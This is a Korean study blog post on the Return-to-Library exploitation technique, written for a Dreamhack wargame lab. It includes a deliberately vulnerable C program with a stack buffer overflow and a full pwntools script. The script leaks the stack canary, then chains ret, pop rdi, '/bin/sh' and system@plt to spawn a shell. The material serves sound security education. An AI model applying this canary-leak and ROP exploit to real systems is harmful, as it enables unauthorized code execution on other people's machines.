Iriton's log

Exploit Tech: Return to Library 본문

Pwnable/Study

Exploit Tech: Return to Library

Iriton 2024. 5. 29. 15:14

*본 포스트는 Dreamhack - Systemhacking Lecture 을 참고하여 작성되었습니다.

Return to Library

프로세스에 실행 권한이 있는 메모리 영역은 일반적으로 바이너리의 코드 영역과 바이너리가 참조하는 라이브러리의 코드 영역이다.

여기서 공격자가 주목한 것은 다양한 함수가 구현된 라이브러리이다. 몇몇 라이브러리에는 공격에 유용한 함수들이 구현되어 있다. 예를 들어 리눅스에서 C언어로 작성된 프로그램이 참조하는 libc에는 system, execve 등 프로세스의 실행과 관련된 함수들이 구현되어 있다.

이런 함수들로 NX를 우회하고 셸을 획득하는 공격을 Return to library라고 불린다.

실습을 진행할 코드이다.

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt'");

  // Leak canary
  printf("[1] Leak Canary\\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

분석

Canary가 존재하고 NX가 적용되어 있다.

추가로 실습 환경 및 최신 리눅스 커널에서 ASLR은 기본 적용이다.

“/bin/sh”를 코드 섹션에 추가

“/bin/sh”를 코드 섹션에 추가하기 위해 8번째 줄에 작성한 코드를 볼 수 있다. ASLR이 적용돼도 PIE가 적용되지 않았으면 코드 세그먼트와 데이터 세그먼트의 주소는 고정된다. 이 문자열을 공격에 활용할 수 있다.

system 함수를 PLT에 추가

17번째 줄에 PLT에 system을 추가하기 위한 코드를 볼 수 있다. PLT과 GOT은 라이브러리 함수의 참조를 위해 사용하는 테이블이다. 그 중 PLT에는 함수의 주소가 resolve 되지 않았을 떄 함수의 주소를 구하고 실행하는 코드가 적혀 있다.

따라서 PLT에 어떤 라이브러리 함수가 등록되어 있다면 그 함수의 PLT 엔트리를 실행함으로서 함수를 실행할 수 있다. ASLR이 걸려 있어도 No PIE일 경우 PLT의 주소는 고정되므로 라이브러리 함수를 실행할 수 있다.

BOF

19번째 줄부터 28번째 줄까지는 두 번의 오버플로우로 스택 카나리를 우회하고 반환 주소를 덮을 수 있도록 작성된 코드이다.

익스플로잇 설계

1. 카나리 우회

첫 번째 입력에서 적절한 길이의 데이터를 입력하면 카나리를 출력하도록 할 수 있다.

2. rdi 값을 “/bin/sh”의 주소로 설정 및 셸 획득

NX로 인해 buf에 셸 주입하고 실행할 수 없다. (코드 영역 외에는 실행권한이 없기 때문에)

“/bin/sh”의 주소를 알고 system 함수의 PLT 주소를 알아서 system 함수를 호출할 수 있다면 system의 인자 rdi를 “/bin/sh”로 설정하면 system(”/bin/sh”)를 실행할 수 있다. 이를 위해 리턴 가젯을 이용해야 한다.

리턴 가젯

ret 명령어로 끝나는 어셈블리 코드 조각을 의미한다.

pwntools 설치 시 함께 설치되는 ROPgadget 명령어를 사용해서 다음과 같이 가젯을 구할 수 있다.

리턴 가젯을 사용하여 반환 주소와 이후 버퍼를 덮으면 pop rdi로 rdi를 “/bin/sh”의 주소로 설정할 수 있다.

익스플로잇

카나리 우회

sub rsp, 0x40 명령어를 통해 여유 공간을 만드는 것을 확인할 수 있다.

이후 canary를 등록하고 rbp-0x8위치에 카나리를 세팅을 하는데

그럼 rsp -0x40부터 0x30(buf 크기)만큼 데이터를 넣고 rbp-0x8부터 0x8(카나리 크기)를 넣으면 그 사이 0x8만큼 남게 된다.

따라서 buf에서부터 0x38만큼 더미데이터를 넣어서 채워주고 추가로 한 바이트 더 더미데이터를 넣으면 카나리 시작할 때 넣는 \00 이 덮어지면서 카나리 값을 출력하게 된다.

#!/usr/bin/env python3
# Name: rtl.py
from pwn import *

# 프로세스 시작
p = process('./rtl')
e = ELF('./rtl')

# 주어진 name과 addr를 포맷팅하여 출력
def slog(name, addr): return success(': '.join([name, hex(addr)]))

# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\\x00' + p.recvn(7))
slog('canary', cnry)

리턴 가젯 찾기

ROPgadget을 이용하여 찾는다.

python3 -m pip install ROPgadget --user

—re 옵션을 사용하여 정규표현식으로 가젯을 필터링 할 수 있다.

익스플로잇

 

“/bin/sh”의 주소와 PLT는 pwndbg으로 찾을 수 있다.

가젯으로 구성된 페이로드를 작성하고, 이 페이로드로 반환 주소를 덮으면 셸을 획득할 수 있다.

여기서 한가지 주의할 점은, system 함수로 rip가 이동할 때, 스택은 반드시 0x10단위로 정렬되어 있어야 한다는 것. 이는 system 함수 내부에 있는 movaps 명령어 때문인데, 이 명령어는 스택이 0x10단위로 정렬되어 있지 않으면 Segmentation Fault를 발생시킨다.

system 함수를 이용한 익스플로잇을 작성할 때, 익스플로잇이 제대로 작성된 것 같은데도 Segmentation Fault가 발생한다면, system 함수의 가젯을 8 바이트 뒤로 미뤄보는 것이 좋습니다. 이를 위해서 아무 의미 없는 가젯**(no-op gadget)**을 system 함수 전에 추가할 수 있다.

이 가젯은 ret이다.

#!/usr/bin/env python3
# Name: rtl.py
from pwn import *

p = process('./rtl')
e = ELF('./rtl')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\\x00' + p.recvn(7))
slog('canary', cnry)

# [2] Exploit
system_plt = e.plt['system'] #system 함수의 주소를 가져온다.
binsh = 0x400874 #문자열의 주소
pop_rdi = 0x0000000000400853 #pop rdi;ret 가젯의 주소
ret = 0x0000000000400285 #ret 가젯의 주소(스택 정렬을 위함->영향 안 가는 무의미한 가젯)

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
payload += p64(ret)  # align stack to prevent errors caused by movaps
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)

pause()
p.sendafter(b'Buf: ', payload)

p.interactive()

**LEVEL 2: Return to Library 문제는 이 코드에서 p 변수만 변경하면 된다.

 

'Pwnable > Study' 카테고리의 다른 글

Exploit Tech: Return Oriented Programming  (0) 2024.05.29
Background: Library  (0) 2024.05.22
Mitigation: NX & ASLR  (1) 2024.05.22
Exploit Tech: Return to Shellcode  (0) 2024.05.15
Mitigation: Stack Canary  (0) 2024.05.07
Comments